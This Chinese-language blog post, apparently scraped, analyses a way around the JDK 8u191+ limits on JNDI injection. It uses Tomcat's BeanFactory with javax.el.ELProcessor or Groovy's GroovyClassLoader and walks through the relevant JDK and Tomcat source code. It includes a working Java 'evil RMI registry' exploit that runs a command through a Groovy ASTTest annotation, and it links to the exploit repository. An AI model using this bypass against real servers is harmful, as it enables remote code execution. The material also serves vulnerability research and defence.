以前在Veracode的這篇博客中https://www.veracode.com/blog/research/exploiting-jndi-injections-java看到對於JDK 1.8.0_191以上版本JNDI注入的繞過利用思路,簡單分析了下繞過的具體實現,btw也記錄下本身的一些想法,本文主要討論基於Reference對象的利用。html
JDK版本:1.8.0_20java
產生JNDI注入的緣由簡單來講是lookup方法參數可控,咱們首先在Registry中綁定特殊構造的Reference對象,以下圖所示,其中factoryLocation是咱們遠程類的地址。git
而後將咱們Registry的地址傳入lookup方法中,下圖是低版本JDK中JNDI注入payload的觸發過程,lookup方法中調用了decodeObject方法,又進入到NamingManager.getObjectInstance方法github
在getObjectInstance方法中319行,首先調用了getObjectFactoryFromReference方法,而後又調用了factory對象的getObjectInstance方法web
在getObjectFactoryFromReference方法中動態加載了咱們的遠程類並將其實例化,而遠程類是咱們徹底可控的,實例化的過程當中會進行類的初始化並調用其構造方法,這就致使靜態代碼塊或構造方法中的代碼得以執行。spring
JDK版本:1.8.0_191apache
高版本JDK對JNDI注入類威脅的防禦主要體如今限制了遠程類的加載,在decodeObject方法中,調用NamingManager.getObectInstance方法前加入了對factoryLocation和trustURLCodebase的判斷,trustURLCodebase默認爲false,如圖所示,app
多個判斷語句是與的邏輯關係,則可構造factoryLocation == null,使程序進入NamingManager.getObjectInstance方法,而後進入到getObjectFactoryFromReference方法中進行類的加載和實例化,以下圖所示這塊兒的邏輯是這樣的,首先經過本地的類加載器去classpath中加載目標類,若classpath中無目標類的定義,則調用loadClass(factoryName, codebase)遠程加載咱們構造的特定類,類加載完成後經過反射將其實例化,而後在調用該對象的getObjectInstance方法。spring-boot
可是若構造factoryLocation爲空繞過trustURLCodebase的限制,則沒法經過loadClass(factoryName, codebase)遠程加載咱們構造的特定類。spa
這時總體的繞過思路變成了加載一個目標機器classpath中存在的類,而後將其實例化,調用其getObjectInstance方法時實現代碼執行。
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?,?> environment) throws Exception; }
這個類首先要實現ObjectFactory接口,而且其getObjectInstance方法實現中有能夠被用來構造exp的邏輯。
Veracode的博客中使用了org.apache.naming.factory.BeanFactory類,Tomcat容器自己是被普遍使用的,因此可利用性仍是很強的。其RMIServer實現以下:
下面具體分析下BeanFactory類getObjectInstance方法實現,其參數中obj、name可控。
首先在前半部分代碼從obj中取出咱們構造的Reference對象,加載了咱們指定的類並經過newInstance()調用指定類的無參構造方法將其實例化,
Reference ref = (Reference) obj; String beanClassName = ref.getClassName(); Class<?> beanClass = null; ClassLoader tcl = Thread.currentThread().getContextClassLoader(); if (tcl != null) { try { beanClass = tcl.loadClass(beanClassName); } catch(ClassNotFoundException e) { } } else { try { beanClass = Class.forName(beanClassName); } catch(ClassNotFoundException e) { e.printStackTrace(); } } ····· Object bean = beanClass.newInstance();
而後取出key爲「forceString」的RefAddr對象中的content,對其進一步解析,content是字符串,其中能夠指定多個方法用逗號分隔,如」x=eval,y=run「,解析時會將eval方法和run方法放入HashMap對象中
RefAddr ra = ref.get("forceString"); Map<String, Method> forced = new HashMap<String, Method>(); String value; if (ra != null) { value = (String)ra.getContent(); Class<?> paramTypes[] = new Class[1]; paramTypes[0] = String.class; String setterName; int index; /* Items are given as comma separated list */ for (String param: value.split(",")) { param = param.trim(); /* A single item can either be of the form name=method * or just a property name (and we will use a standard * setter) */ index = param.indexOf('='); if (index >= 0) { setterName = param.substring(index + 1).trim(); param = param.substring(0, index).trim(); } else { setterName = "set" + param.substring(0, 1).toUpperCase(Locale.ENGLISH) + param.substring(1); } try { forced.put(param, beanClass.getMethod(setterName, paramTypes));
接下來會經過反射執行咱們指定的以前構造的方法,並能夠傳入一個字符串類型的參數
Enumeration<RefAddr> e = ref.getAll(); while (e.hasMoreElements()) { ra = e.nextElement(); String propName = ra.getType(); if (propName.equals(Constants.FACTORY) || propName.equals("scope") || propName.equals("auth") || propName.equals("forceString") || propName.equals("singleton")) { continue; } value = (String)ra.getContent(); Object[] valueArray = new Object[1]; /* Shortcut for properties with explicitly configured setter */ Method method = forced.get(propName); if (method != null) { valueArray[0] = value; try { method.invoke(bean, valueArray); }
總結一下實現代碼執行的幾個條件,首先要注入一個含有無參構造方法的beanClass,固然這個beanClass要classpath中存在的,其次beanClass中要有直接或間接執行代碼的方法,而且方法只能傳入一個字符串參數。
Veracode的博客中構造的beanClass是javax.el.ELProcessor,ELProcessor中有個eval(String)方法能夠執行EL表達式,正好符合上述條件,固然也是有限制的,javax.el.ELProcessor自己是Tomcat8中存在的庫,因此僅限Tomcat8及更高版本環境下能夠經過javax.el.ELProcessor進行攻擊,對於使用普遍的SpringBoot應用來講,可被利用的Spring Boot Web Starter版本應在1.2.x及以上,由於1.1.x及1.0.x內置的是Tomcat7。
除了javax.el.ELProcessor,固然也還有不少其餘的類符合條件能夠做爲beanClass注入到BeanFactory中實現利用。舉個例子,若是目標機器classpath中有groovy的庫,則能夠結合以前Orange師傅發過的Jenkins的漏洞實現利用https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html,直接給出RMIRegistry的代碼:
public static void main(String[] args) throws Exception { System.out.println("Creating evil RMI registry on port 1097"); Registry registry = LocateRegistry.createRegistry(1097); ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null); ref.add(new StringRefAddr("forceString", "x=parseClass")); String script = "@groovy.transform.ASTTest(value={\n" + " assert java.lang.Runtime.getRuntime().exec(\"calc\")\n" + "})\n" + "def x\n"; ref.add(new StringRefAddr("x",script)); ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref); registry.bind("Object", referenceWrapper); }
若是能有一個JDK中的類符合條件,可攻擊面就更大了,惋惜我在嘗試構造exp的過程當中並無找到相關可利用的類,可是與第三方庫的組合利用方法仍是不少的,上面只是舉了其中一個例子,感興趣的朋友能夠一塊兒探討,上述代碼地址:https://github.com/welk1n/JNDI-Injection-Bypass。